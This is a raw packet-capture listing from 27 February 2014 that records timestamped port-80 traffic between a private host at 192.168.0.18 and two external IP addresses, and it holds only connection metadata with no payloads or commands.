Feb 27, 2014 17:56:07.446974039 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.446990967 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.447103977 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.447124004 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.447248936 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.447340965 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.644162893 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:07.942078114 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.942084074 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.942090034 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:07.942171097 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.081660032 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.168991089 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.299680948 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.416918039 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.416934967 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.416938066 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.417047024 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.628546953 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.642018080 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664201975 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664208889 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664280891 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.664292097 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664334059 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664339066 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664401054 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.664407969 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664438963 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.664489985 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664494038 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664606094 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664609909 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664612055 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664618015 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.664628029 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664689064 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.664742947 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664747953 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664804935 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.664834976 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.664865971 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.664870977 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664947987 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664952993 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664956093 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664958954 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.664961100 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.665040970 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.665047884 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.665076971 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.665105104 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.665169001 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.665174007 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.665178061 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.665182114 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.665184021 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.665185928 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.665263891 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.665270090 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.665303946 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.665329933 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.665517092 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.767393112 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.767399073 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.767411947 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.767414093 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.767416954 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.767543077 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.767601967 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:08.767607927 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:08.767719984 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.069274902 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.069293022 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.069295883 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.069298029 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.069317102 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.069358110 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.069478035 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.069538116 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.069542885 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.069602966 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.080198050 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.080204964 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.080296993 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.080316067 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.080430984 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.091078043 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.091085911 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.091089010 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.091186047 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.112879038 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.112895966 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.112982988 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.112992048 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.113154888 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.146099091 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.146117926 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.146121979 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.146231890 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.146276951 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.146291018 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.146359921 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.146369934 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.146538973 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.157062054 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.157068968 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.157073021 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.157166958 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.259126902 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.259135008 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.259147882 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.259150028 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.259152889 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.259274006 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.259285927 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.259318113 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.259346008 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.393537998 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.518100023 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.518119097 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.518121958 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.518714905 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.540430069 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.540446997 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.540452003 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.540455103 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.540457964 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.540582895 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.540594101 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.540642977 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.540685892 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.551227093 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.551243067 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.551248074 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.551341057 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.551350117 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.551400900 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.605981112 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.605997086 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.606219053 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.606236935 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.606384993 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.616971016 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.616988897 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.616991997 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.617074966 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.627971888 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.627989054 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.628087044 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.628096104 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.628210068 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.731590986 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.731609106 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.731611967 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.731616020 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.731618881 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.731724024 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.731764078 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.731769085 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.731971979 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.791250944 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.791268110 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.791270971 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.791364908 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.802460909 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.802478075 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.802597046 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.802617073 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.802841902 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.813625097 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.813642025 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.813644886 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.813749075 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.824541092 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.824558020 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.824651957 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.824671984 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.824759960 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.835421085 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.835428953 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.835433960 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.835524082 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.846204042 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.846211910 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.846333027 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.846342087 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.846457958 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.879475117 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.879483938 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.879487991 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.879491091 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.879492998 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.879604101 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.879646063 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.879652023 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.879754066 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.890300035 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.890305996 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.890310049 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.890392065 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.901293039 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.901299000 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.901309013 MEZ	80	1059	95.211.192.195	192.168.0.18
Feb 27, 2014 17:56:09.901372910 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.901384115 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.901547909 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.912201881 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.912206888 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.912209988 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.912307978 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.923176050 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.923182011 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.923415899 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:09.923424959 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:09.923727989 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.049835920 MEZ	1059	80	192.168.0.18	95.211.192.195
Feb 27, 2014 17:56:10.444201946 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444211960 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444216967 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444220066 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444222927 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444340944 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.444343090 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444346905 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444351912 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444380999 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.444387913 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444567919 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444572926 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444576025 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444577932 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.444581032 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447288990 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.447331905 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.447377920 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447385073 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.447386026 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447387934 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447391987 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447396040 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447398901 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447402000 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447403908 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447407007 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447412014 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.447511911 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.447537899 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447542906 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447546005 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447736025 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.447766066 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.447771072 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.447801113 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.447828054 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.447853088 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.447879076 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.447949886 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.466320992 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.466337919 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.466468096 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.466486931 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.466491938 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.466505051 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.466618061 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.466624022 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.466667891 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.466770887 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.560416937 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.560434103 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.560436010 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.560570955 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.571440935 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.571459055 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.571562052 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.571571112 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.571793079 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.852097034 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.852106094 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.852118969 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.852250099 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.873945951 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.873963118 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.874074936 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.874083996 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.874389887 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.906883955 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.906900883 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.906903028 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.907293081 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.928740025 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.928756952 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.928872108 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.928881884 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.929014921 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:10.939671993 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.939678907 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.939681053 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:10.939810991 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.144131899 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.164987087 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.186949015 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.186955929 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.187031031 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.187041044 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.187390089 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.209244967 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.209255934 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.209259987 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.209265947 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.209269047 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.209393024 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.209430933 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.209435940 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.209538937 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.230860949 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.230876923 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.230880022 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.231007099 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.285698891 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.285716057 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.285718918 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.285722017 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.285734892 MEZ	80	1060	103.8.127.189	192.168.0.18
Feb 27, 2014 17:56:11.285876036 MEZ	1060	80	192.168.0.18	103.8.127.189
Feb 27, 2014 17:56:11.285896063 MEZ	80	1060	103.8.127.189	192.168.0.18
